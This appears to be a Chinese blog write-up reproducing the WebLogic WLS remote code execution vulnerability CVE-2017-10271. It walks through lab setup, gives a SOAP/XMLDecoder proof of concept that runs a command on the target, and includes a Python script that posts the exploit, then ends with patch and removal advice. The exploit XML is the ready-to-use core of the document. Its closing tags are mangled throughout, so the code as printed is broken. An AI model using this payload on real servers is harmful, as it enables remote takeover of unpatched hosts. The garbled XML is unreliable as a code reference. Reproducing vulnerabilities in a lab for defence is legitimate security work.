WebLogic WLS组件漏洞复现

漏洞编号:CVE-2017-10271

漏洞描述:WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击,近期发现此漏洞的利用方式为传播挖矿程序。

受影响WebLogic版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。

1 漏洞复现环境搭建

靶机:Windows Server 2008 R2 x64

攻击机:Windows 8 x64

1.1   靶机相关环境配置:

1.1.1  安装JDK:

Java版本:

WebLogic WLS组件漏洞复现

注:Java不要安装在带有空格的目录下。

1.1.12  安装WebLogic

WebLogic 版本:10.3.6.0(现官方下载的12.2.1.1.0,12.2.1.2.0版本默认安装无WLS组件

WebLogic WLS组件漏洞复现

不勾选 “我希望通过My  Oracle  Support接收安全更新”。

WebLogic WLS组件漏洞复现_第1张图片

配置管理员用户名和口令(weblogic\weblogic888)

WebLogic WLS组件漏洞复现_第2张图片

选择生产模式

WebLogic WLS组件漏洞复现_第3张图片

若安装选择的默认路径与默认域名,在如下路径中运行

C:\\Oracle\\Middleware\\user_projects\\domains\\base_domain\\WebLogic.cmd

输入配置管理员用户名和口令时设置的用户名和口令(weblogic\weblogic888):

WebLogic WLS组件漏洞复现

此时访问:http://127.0.0.1:7001/wls-wsat/CoordinatorPortType

若出现如下图的默认页面则环境配置完成:

WebLogic WLS组件漏洞复现_第4张图片

2 漏洞利用POC:

该POC为在目标主机调用计算器,xml中的string标签红色字符串为远程执行的命令内容。

<soapenv:Envelope     xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
       <work:WorkContext    xmlns:work="http://bea.com/2004/06/soap/workarea/">
           <java      version="1.8" class="java.beans.XMLDecoder">
               <void     class="java.lang.ProcessBuilder">
                    <array    class="java.lang.String" length="3">
                        <void     index="0">
                           <string>calcstring>
                        void>
                        <void     index="1">
                            <string>string>
                        void>
                        <void     index="2">
                            <string> string>
                        void>
                    array>
                <void     method="start"/>void>
           java>
       work:WorkContext>
   soapenv:Header>
    <soapenv:Body/>
    soapenv:Envelope>

3 漏洞利用过程:

首先查看靶机的IP地址

WebLogic WLS组件漏洞复现

使用攻击机访问靶机的WLS组件,并用burp把包拦截下来:

http://192.168.1.32:7001/wls-wsat/CoordinatorPortType

使用post方法发送上述POC,并添加Content-Type:text/xml,把Cache-Control修改为no-cache 。

WebLogic WLS组件漏洞复现_第5张图片

返回的状态码为500:

WebLogic WLS组件漏洞复现_第6张图片

这时我们再回到靶机,可以看到靶机的计算器已经被调用。

WebLogic WLS组件漏洞复现_第7张图片

4    漏洞利用脚本:

CVE-2017-10271.py(调用浏览器访问freebuf):

#! -*- coding:utf-8 -*-
import requests
 
url = "http://192.168.1.32:7001/wls-wsat/CoordinatorPortType"
xml = '''
    <soapenv:Envelope     xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

    <soapenv:Header>
       <work:WorkContext    xmlns:work="http://bea.com/2004/06/soap/workarea/">
           <java      version="1.8" class="java.beans.XMLDecoder">
                <void     class="java.lang.ProcessBuilder">
                    <array    class="java.lang.String" length="3">
                        <void     index="0">
                            <string>cmdstring>
                        void>
                        <void     index="1">
                            <string>/cstring>
                        void>
                        <void     index="2">
                            <string>start http://www.freebuf.com/string>
                        void>
                    array>
                <void     method="start"/>void>
           java>
       work:WorkContext>
   soapenv:Header>
    <soapenv:Body/>
    soapenv:Envelope>
'''
r =requests.post(url,headers={'Content-Type':'text/xml','Cache-Control':'no-cache'},data=xml)
print r.status_code

print r.text

靶机效果:

WebLogic WLS组件漏洞复现_第8张图片

5 漏洞修复建议

1. Oracle官方对于WebLogicWLS 组件漏洞(CVE-2017-10271)在10月份的更新补丁中已经进行了修复,建议及时下载更新包,并升级WebLogic。

2. 根据实际环境路径,删除WebLogic wls-wsat组件,并重启服务器。

rm -f  /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war

rm -f  /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

rm -rf  /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

你可能感兴趣的:(weblogic,weblogic,CVE-2017-10271)